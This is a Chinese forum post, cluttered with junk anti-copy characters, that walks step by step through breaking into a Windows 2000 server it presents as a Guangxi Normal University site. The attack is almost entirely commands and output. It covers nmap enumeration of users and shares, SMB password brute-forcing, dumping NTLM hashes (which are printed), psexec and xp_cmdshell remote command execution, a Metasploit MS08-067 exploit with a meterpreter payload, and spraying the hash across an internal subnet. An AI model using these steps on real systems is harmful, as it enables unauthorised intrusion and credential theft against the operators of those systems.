广西师范网站http://202.103.242.241/
! N& o( d" a1 _& L9 |. l+ m+ U9 A" ^+ r8 L& n
root@bt:~# nmap -sS -sV 202.103.242.241! Z) M: L$ Y$ N B' V
; A0 k; p. B' c2 `9 k
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
: o) ^( a0 @7 i( e$ i
% @' V, _" }- \) F5 s6 w# o5 YNmap scan report for bogon (202.103.242.241)
' x2 W7 v L6 }
2 ^( Z$ b/ @6 i8 `; n- p1 ^Host is up (0.00048s latency).
2 `& E! C( N- d. b+ i! Z# m9 Z- ^' c5 }4 }
Not shown: 993 closed ports; h5 A3 {) j# v- O, C/ F) ~
+ Q$ `/ _1 t! M+ | O: e
PORT STATE SERVICE VERSION
Y6 F' w: k3 F% z o
0 H# g$ X W8 R1 F135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
6 ^7 b+ E! C+ N- U- F2 r+ `4 b1 b% g/ R. o; V
139/tcp open netbios-ssn2 V5 r1 L$ f* k; X! ^
4 t/ J; m* M. Y f! C5 _& K445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds+ d/ E g$ J" g5 F7 w4 l
# G9 o, a% e4 U% u1 n$ ^+ d
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe); g4 s; F8 Y0 C9 a; c, s
: T2 ], F& c6 y; ?% R4 V) f; e
1026/tcp open msrpc Microsoft Windows RPC
- q0 j" m$ j: \, H' h q& _) o' b
_0 j7 d" C$ N8 P3 d3372/tcp open msdtc?
0 `, ^- C3 g4 g+ Z a2 }. X U8 b9 e/ e' ]5 U/ d- T& I
3389/tcp open ms-term-serv?. O% y+ g- ], }
0 w4 d! @: Q* t% _" @* \1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :0 L( [2 Y7 C2 N4 J' T
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r+ e; }/ V* `+ ^. p E9 q( ?
+ O" @3 y+ W7 ?& B
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions7 H- Q* ~ v/ y& O$ R
. r3 l4 U- _( XSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
5 u0 k" |4 _# s5 H! B0 T9 o$ i# S2 x) L0 i8 Z' D0 K4 F5 L
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
. | ], q5 B: r
0 Q0 g! B& _5 n0 @SF:ptions,6,”hO\n\x000Z”);
" _( W+ ?6 J+ `5 [, O9 Y3 e
# I. g# n% y4 I) H0 \MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)0 }# z. R* _( L$ j/ d" Z
6 o" |! t3 N. k ^( w& c- k
Service Info: OS: Windows
& N2 y! a" N1 }4 W0 v, n% x1 Q& K, A9 z# u
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .$ Y- _3 C7 H; C; b7 y
/ l- _2 \7 y1 H/ `# [. O2 P
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
; e) |2 P }. P6 e" O8 Q+ ~; ^& o0 \5 \
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本$ S7 o y+ w% `( d' r/ }+ _9 {
4 B5 X) S# O) u; x7 k2 T& M
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
3 s+ b" v. Q4 r. A2 F0 S" k
3 W" ]5 G% \6 o* ? S! [8 ~-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
3 d, T) I% x3 b% o. f4 X# \
/ V% I2 {; U5 N3 L5 ~+ G$ d( H-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
! Z( W$ h% e0 d6 v
5 f1 x9 Q+ t) e5 r4 V, T6 v2 Z-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
6 w! y6 G/ s; j& W8 A* O4 r" x
1 l% i$ T$ y" `0 `: j7 D-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
1 G0 C$ U3 X) p8 U7 F/ ^4 U, J9 {) c# b; i. Z6 j
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse2 X' }" F( D! H. b0 \- w1 u
~4 `, R; ?0 _$ @
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
1 N6 v/ O: Q3 c9 L* I( T4 E" H. J" V7 J% f3 @
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse) G& T8 h+ t0 p
- V6 H) l" ~1 m, ^( {- J* o+ S: g+ }
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse8 q1 Z3 q2 c' d; [. v: l5 ^3 S
( U( R e' [+ b/ \" G
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse; h$ K! a: C! |9 `
# ~4 O& r* S3 T5 x0 C
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse3 K3 }3 l g! N8 @' [: C) g
2 m2 f0 i) O# ^3 T0 O& W1 Z3 }
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse+ v* U! _ B+ X/ i9 D- L; R
: V8 {* q* O! d# E
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse. L$ K: f6 x0 h( B( K
/ V, x! O3 J2 q7 X' d-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
9 n2 E9 N7 R" H* X6 Y
3 i6 c( W& j) s$ t-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
, a& Q! s- G) ^+ I7 o
! }- q6 o( H6 Z w8 X" @root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 4 h1 n4 X' |, @9 C: a
; t. O" s' L [5 j0 ~9 E//此乃使用脚本扫描远程机器所存在的账户名! e j: P1 t; n
. E4 ?! ]" a8 V- ^5 d# l
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
; L. V1 X$ z6 M5 I; N
* X l; K/ y% P0 l' M5 PNmap scan report for bogon (202.103.242.241)
! H! t9 y; x' m E5 ]# C" Z9 s S9 f* x7 A' Q: Q" b
Host is up (0.00038s latency).
Q- S$ l. H/ n. a: u+ I5 o! s* I0 Z& Z
Not shown: 993 closed ports
, B `7 n0 ?! K$ U& T8 B& C. M: r/ s8 Q
PORT STATE SERVICE* @% s! a" ~) W3 u8 o
* p. W" o$ a5 t- ~% x1 i
135/tcp open msrpc
* b2 }4 X; l" j4 s, K ]+ B2 K3 `6 a; ~% }: X: U3 I* A
139/tcp open netbios-ssn
% B, j3 O7 N9 U* t. b; B
5 y% R: X/ M/ J! z445/tcp open microsoft-ds7 v2 K; i2 `4 P8 J- L9 @
- W0 Y% W) V/ b. N2 `& S1025/tcp open NFS-or-IIS6 R2 j* K4 `# Z, W
* f' G, c( }' Y1026/tcp open LSA-or-nterm
* i" r- l0 u$ B' C5 |, v& s
% O9 x) `) D; _' W, _5 T3372/tcp open msdtc8 y7 p. d. h1 }* O& z% c
& y( w7 M; `; l- E: k& L; Q3389/tcp open ms-term-serv
, X8 ^% u v0 M" H4 A! M8 M# s' V( t5 g) Q7 d9 r8 }4 P
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
4 b, r' I- a+ }1 B1 I4 ?% o+ s2 S
: y8 r% u$ _0 E5 x) J) n0 XHost script results:
( n6 X/ p; M" v0 G; |% Q# Y
+ M, G; w' S9 j, J| smb-enum-users:* G! L$ A% L4 B/ Y1 ?7 S; {
% t. U# a l6 m0 R' w: i- _
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
9 s2 l g4 W6 l2 x7 V9 [0 A
" a0 c3 o) j' r/ j- UNmap done: 1 IP address (1 host up) scanned in 1.09 seconds6 Q1 K) [3 y% ]. o- T) F
% z5 X" A7 {) S+ [
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
. }) k& P" u4 ]& J4 r) _8 g" e0 f6 b1 f) M; z- t) J) m
//查看共享; r( ?9 x# p. y. M2 }' ~
; O; A3 \2 n, G8 r; uStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST1 d& _+ ~9 I1 \
+ t q4 m% `9 R# d; Q; Q W$ B
Nmap scan report for bogon (202.103.242.241)" L, Y2 E+ w2 V+ G- n
2 v* B& {1 w6 fHost is up (0.00035s latency).) f s' y2 e1 d: m9 V0 w+ [4 B
) p9 C& ?+ C' l; u1 e& ^
Not shown: 993 closed ports- ~ W7 @7 @, l- D( O& ?
3 `8 |1 j! H8 H5 J7 uPORT STATE SERVICE& i2 F, X- }0 `/ V5 ^9 P% _8 L2 ?; |. T
0 W3 n& g# [& [& Q f4 I6 x135/tcp open msrpc/ D9 F1 H/ E9 J$ f* v. ^# M2 g
4 c3 z* x1 v4 R" L139/tcp open netbios-ssn
- U& P! N% s- B+ P
/ Q$ q: a" U. z, _, z6 F445/tcp open microsoft-ds
8 l+ T- ~7 Z! i3 }$ c; L. w9 x$ R* e
1025/tcp open NFS-or-IIS
0 t+ _4 V% ]+ h3 I* ?5 i3 \# L8 Z, q7 h+ U$ Z, Q3 \
1026/tcp open LSA-or-nterm
+ e/ a/ i9 N: E/ j6 R: h! ?/ |9 X+ y4 f) f4 v/ c* j9 V
3372/tcp open msdtc
) L I# @; ^ S) G, A6 ~2 X0 Q- X- O0 @ o9 H) x V
3389/tcp open ms-term-serv
% ?+ G# I: U0 r4 A1 `' O: |" o! M% `0 O) E) L
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
# [7 F2 s+ v4 A; S8 x/ g! |+ q8 U/ y! H$ k. l1 |$ U0 b1 c
Host script results:$ d' r6 T' B ]5 b
7 G/ I: ~2 @" c% X
| smb-enum-shares:9 @* S6 F0 J; d6 K) I
6 E2 d: }: Y3 E5 ?: f| ADMIN$2 w; I9 I2 S! m9 ^* |8 G
2 g: H$ w2 Y% O( @
| Anonymous access: <none>. D8 n0 ]- J( m$ f' |
. ^! n4 O/ x/ s
| C$2 r+ @4 a2 @1 _# O3 ?) G
' @5 H) f' F3 F5 `1 l& K| Anonymous access: <none>
) W& s9 \: X0 ~$ X/ F
( u. y8 @) J ]: j' l( q/ U| IPC$
U$ j% J9 {9 m
% a# K) n% v% @" d% w; y* b|_ Anonymous access: READ% M8 q- N/ T# x" n6 g) m+ M, b
0 @" f3 S2 l @0 R/ R# `- xNmap done: 1 IP address (1 host up) scanned in 1.05 seconds1 A! q( ~6 _ X1 |: m, A, X
% c1 y! N, S1 {8 p% X# C' W
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
0 _9 h; s4 h) o/ c' ?0 a
' h1 K$ T- D3 f s8 q4 Z* ^//获取用户密码$ N, b4 o/ ^: b+ d9 W0 W
6 a+ `# z+ e) Q k* t3 L: K1 M
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST. W1 P* E6 }0 Q' H) {' A7 s ?" g' Z
+ j+ |2 I/ L* _/ VNmap scan report for bogon (202.103.242.2418)) H$ E# i7 u% ?9 Q
- W- g& L }6 mHost is up (0.00041s latency).
1 w6 d# g$ l9 c8 `* g0 o- \) W: P$ ?9 e0 c5 E8 h
Not shown: 993 closed ports. \' |" J9 }* U: \' c
. |) X* A0 a& J2 fPORT STATE SERVICE
7 S9 f* l' ]5 P! U
' n8 ^: e+ R; x5 U135/tcp open msrpc
0 s* Z4 _; g, n6 I _# [0 y( O2 }2 m
139/tcp open netbios-ssn1 U: C- K l% N6 Z
5 T3 z# H# | z& e+ J: ~5 |445/tcp open microsoft-ds
3 b; b; l3 F2 m) _, } N3 N# x3 T) }" w. g
1025/tcp open NFS-or-IIS
7 }' s2 @# g& u
& A( H& K8 e0 C& V1026/tcp open LSA-or-nterm) N% M4 f3 {2 E0 g! y
0 S2 @. p+ S# e' p s' k: y! y
3372/tcp open msdtc8 l3 a( e, ^' z
7 I3 V- J4 E* Z6 j3 y: r) z) X3389/tcp open ms-term-serv$ L. X7 j5 s% r! H9 L6 b$ _8 V
; l9 d# @ `; P; T6 WMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
- W/ z! V9 U5 j2 U7 @2 r% N6 i; B4 { ~* l2 X& R. P( {
Host script results:0 [' C/ w/ T/ q
# b+ |6 \6 |+ _3 z| smb-brute:
; J5 g+ |, l8 q; h
$ f" u$ a& I# e; ~) Y; `administrator:<blank> => Login was successful9 u' V( r9 t& {" S$ Z8 y
9 P; T: Q! j @: e( G u- b
|_ test:123456 => Login was successful9 e3 K7 t% Q) {5 e
2 { ~% Q9 j- ~' Y: _* g! {+ \
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds5 m0 [2 _5 y' j# y$ I) V7 g
8 L( N# H1 I0 c' `+ droot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
4 J7 e) o0 T3 N/ Y5 M6 k* j. ?% }4 `# Q& w( e
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data0 Y) _% `( j: }" r+ G. Z
, L! Z- c( l6 Z0 C1 v. \& xroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse6 `2 d' l+ `: k' E# M
; n* Y2 Q$ d. |; h, H% Z$ j3 oroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
- h9 t# @" C( L& r
6 @: w5 |1 n3 d! n& [ J+ }0 |Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
" o) t: ^& G% a# A( |7 y$ V) @6 l) E6 |4 F+ Q7 I
Nmap scan report for bogon (202.103.242.241)# ~" l% j; `; Z9 G
8 _" ]# M1 D/ j- p
Host is up (0.0012s latency).
+ |% w; D- L1 L, a! e4 n
: o6 K4 l, ?" h. }1 @2 `5 m) r7 y! yPORT STATE SERVICE6 q* [" J5 y4 x" V7 h" `
$ O5 t r3 b# @! ^7 u135/tcp open msrpc: N1 A9 z+ b) I9 D& n/ R# z
7 Q' F8 P) O8 V. N/ _1 _ r' m139/tcp open netbios-ssn; c7 n7 m; E, }, Y1 k2 g, R
8 J. }6 [6 N. M, F, h: B$ z( Q
445/tcp open microsoft-ds
, e1 ~% L+ P1 {! |$ ~
: [" ]2 L8 L0 w2 R, \0 b9 gMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ c% }4 V- t; n4 [; v
' f# p9 I) C c; m, U
Host script results:
1 Q4 o& G% L" Z
$ a) _5 W8 n J| smb-pwdump:# K {! f! u" J' z2 l, i7 Y
6 W; V. f, U- j6 y+ G$ |+ o q) B| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
: E8 s) h7 p5 |9 Q t* I2 H+ O7 {" z: Z; s. U7 u% M- U
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
3 o! L; l# [3 `# K& {
) h/ i4 s3 a4 g$ s, x( X| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D49 c' g+ ]0 C) p$ E
6 }, U" q# c, O" b4 p# \
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
% c+ N; }( A7 m& O
6 ~: e5 ^5 t7 O) H/ @Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds6 H& p6 y5 D1 d6 c! `
/ X, n7 P, p& @$ o# ]! `2 NC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell1 Z2 v! Q+ Q" v: a, a- S: ^
, D" Q) t& L0 k3 v2 G9 w
-p 123456 -e cmd.exe6 F! j' r9 I- s3 m( L
: V" {& G6 l% b3 Z+ ?' I' g
PsExec v1.55 – Execute processes remotely' g( E3 {, M5 a1 W8 `2 b F! }, h, g
/ O6 X5 |7 y# v5 R& SCopyright (C) 2001-2004 Mark Russinovich7 B, M8 Y, j: ?
6 M3 Z7 J! k- S) J8 dSysinternals – www.sysinternals.com& e r) M7 g- l# X- u' X% r1 o' z
9 |, L/ Z. v5 u. M5 r; ?& ?# N
Microsoft Windows 2000 [Version 5.00.2195]" }, A7 o) x% _' @2 {
1 U+ z# z( U! D- s' X. j2 ]
(C) 版权所有 1985-2000 Microsoft Corp.+ [/ y% O6 ]( z
* b0 b( M; O. K% ~, y! A
C:\WINNT\system32>ipconfig
) g- z) k1 E) B; a: I
$ h# J, c3 S% M4 B' }Windows 2000 IP Configuration
5 V8 F5 V3 i7 w4 M9 `8 R6 R
( y- {3 \/ x ^0 Z* yEthernet adapter 本地连接:( b; j ^; w! {0 o2 [
0 I1 Y1 D4 ^1 r) Z. j3 E/ p$ b
Connection-specific DNS Suffix . :- d; l! \$ V* P' Q& K
2 i; B+ g' F5 D, m
IP Address. . . . . . . . . . . . : 202.103.242.241
3 i4 m" h. X* X2 E H& J) m. {4 g' V* u: x2 {7 Y& j+ ^/ Q2 n
Subnet Mask . . . . . . . . . . . : 255.255.255.0
/ I7 c+ C! a% b1 ?0 n7 P% \; r0 y7 W; n( }) ]/ T: T
Default Gateway . . . . . . . . . : 202.103.1.1
9 h( m; Y& w* T( F/ L X g9 `8 ]. y5 K9 p4 E8 u+ l4 ^
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令5 B# N, G( @- a% W* K4 \
6 L4 a6 P1 b7 v) Z7 i6 troot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞 W9 o2 [1 _& \3 A! M- J
7 F7 n$ k( a9 yStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
& H9 K7 e4 W& w& @ c" P* X5 @" _* V1 f/ P
Nmap scan report for bogon (202.103.242.241)
8 F7 O' i0 z. k0 S! z% L6 F: I( c8 i- S) @
Host is up (0.00046s latency).: Q3 h7 i/ }( H$ M9 q, s
5 \ M4 |; q" ^. w0 G) d! `% ^Not shown: 993 closed ports3 Q; e" n. P2 X i2 ?* X5 P0 V
3 n) N6 |/ ]" x% I$ D) ~$ CPORT STATE SERVICE! W0 I8 D; g6 s1 N
5 I }- w8 ]4 a135/tcp open msrpc9 k4 a& ?0 z$ l. w) V" q% G5 O
' B: P2 c% W- a$ t1 F: \
139/tcp open netbios-ssn
' z# ?$ F2 u4 T F7 j& q4 m! m2 W- k# E' | f
445/tcp open microsoft-ds
& k: P" @: i2 v% ?- d" _
! W* D$ z# r s) E1025/tcp open NFS-or-IIS
+ o3 N+ k' O: L9 C* U( C# F) k& z6 C0 z. i* N# H
1026/tcp open LSA-or-nterm; ~) ]1 w6 z# z$ ]0 K. Y
3 ?- x" ]" Q( P7 u
3372/tcp open msdtc
' Q' e( Y) }2 H0 W+ o4 M3 F
; L) F7 P5 O! Q+ ?4 ]2 m) O7 m$ f2 a3389/tcp open ms-term-serv: F/ |+ D) [2 e
; a7 @* y, E4 T7 {% `/ f
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
0 Y" {* V; _! j/ x0 t
5 X0 R5 Y0 w, aHost script results:/ ?4 B5 l" L( a
8 R2 z* o$ p3 o: Q| smb-check-vulns:
9 P# G5 q2 W* V% x( k9 I) s/ k3 t6 v; u# H
|_ MS08-067: VULNERABLE- Y4 |. h3 m& @$ }8 _ ?8 u+ f
$ h" s( c$ y1 @, ?Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds7 u5 V" m. k S) F- h: o
7 `% a1 h8 _. `, droot@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
- {! V# `5 T9 R$ L3 o( f2 y
& ?1 A- ^: F H& e0 q3 ?msf > search ms08
) H. ~2 w8 F. `: Y3 ?: l3 o
) g% ~& Q( ]( E! n; g9 _" qmsf > use exploit/windows/smb/ms08_067_netapi5 X* Y' I: R- a9 P1 z% G
3 d5 M X5 S9 S4 x& [msf exploit(ms08_067_netapi) > show options* ]" E8 H Q: a( u. }, Z
6 f. G# O+ p! e8 a, d8 Z
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
" C1 j- V* A& o% c3 c3 ~( _
* d: M+ @; M8 lmsf exploit(ms08_067_netapi) > show payloads
: k" U" }6 R. G4 [! {1 c4 ~7 S8 W2 v3 e* T, D5 n
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
( Q4 }2 W7 b2 n' Q. B! I! y$ J( X0 V! Y) ?( w% S1 z9 R- y
msf exploit(ms08_067_netapi) > exploit
0 o6 D Y, u% j5 ~$ s. M
1 Z$ E+ j+ T# `2 fmeterpreter >
; x! x$ g6 o7 y( c' U8 L
m3 A* @ u+ k" Q- U2 `Background session 2? [y/N] (ctrl+z)7 ?& D/ C" b9 M/ K
]) s/ W5 \3 e( O# r
msf exploit(ms08_067_netapi) > sessions -l
& I7 Y( x/ g" J4 ~2 C1 s7 [5 a F) F5 o) R5 Z7 Z, R
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
$ K/ d/ _6 {- p- l* M% S
+ ~) k% Q ?0 x4 t0 @* U8 j% ftest
$ z( T& v4 X4 o- H0 ^, [. i/ M& b' @9 C$ ~4 o; o4 `
administrator
v1 m7 o Z* _1 ^; Y7 ?6 `( M4 T+ H' Y% b5 Z+ c5 M+ g' h: {3 T- \
root@bt:/usr/local/share/nmap/scripts# vim password.txt
# `2 T. b- Z* U3 ^/ d9 B, j1 D7 t" B9 R8 s
44EFCE164AB921CAAAD3B435B51404EE8 c* v% S/ s$ [" \+ j; q
6 f# h& F. c, J( i& ]root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
" T z: u& I9 y/ ^4 z/ \* w, l2 u0 l* x3 ]: o3 h5 [, M
//利用用户名跟获取的hash尝试对整段内网进行登录
" i' M+ { r( Q. `
1 ~, O, A3 C9 e/ \Nmap scan report for 192.168.1.105 s1 Y" x' O0 ^
/ b, h* t( w" N# h! w8 j! D1 _0 \4 d
Host is up (0.00088s latency).+ s% a& W& \9 R8 ^
* d5 V# \) {- y2 w% a, h) O: ANot shown: 993 closed ports1 I/ \- y' p( |6 z% ?! k
' c% {# J0 u, K
PORT STATE SERVICE3 X5 r' D3 J& [: J
1 J# I' b+ O+ n) p9 b& T& W
135/tcp open msrpc
3 K2 \; b5 P! t, m7 W5 R# G
/ q% H# Q. y( S7 T% d139/tcp open netbios-ssn
/ V8 E: i0 h. o3 n+ d" T- z
+ G! B' {! c/ Z/ ]; ^445/tcp open microsoft-ds* T3 v% R6 d$ C/ p( ?# \3 C* S9 q
* [# [( `* O+ L: |1025/tcp open NFS-or-IIS
0 ^/ P i: w1 f3 M8 s& ]0 O. o; B
# F9 j: E' Y9 \# C3 S! |1026/tcp open LSA-or-nterm b* G& R3 W4 R! c- d6 {
1 s! j2 k l+ g7 P3372/tcp open msdtc
- n5 O9 A% J' r/ I5 C
9 O( c/ l. y5 `5 Y3389/tcp open ms-term-serv7 }! L! V. U/ `6 T8 N/ r7 Y
% p3 {3 w/ K$ C2 l" N8 gMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
% n4 V. |& \) c& J$ I
' ]; M- b P& `9 s( WHost script results:6 s c' S) |: q8 ~* Z- d) t$ K
$ R- I6 i; v e. ^! i| smb-brute:
u% G9 \% a" Y, B% Z- D: ^4 ?0 S9 M! {
|_ administrator:<blank> => Login was successful
4 e8 r- y4 j4 {( ]' `4 Y i5 m: F. g2 ~( J, v* c( t/ a/ v0 q
攻击成功，一个简单的msf+nmap攻击~~·4 M5 S6 U6 K/ O! G2 C
: R: R! w2 z" A5 b4 F
|
发表于 2012-12-4 12:46:42
收藏
支持
反对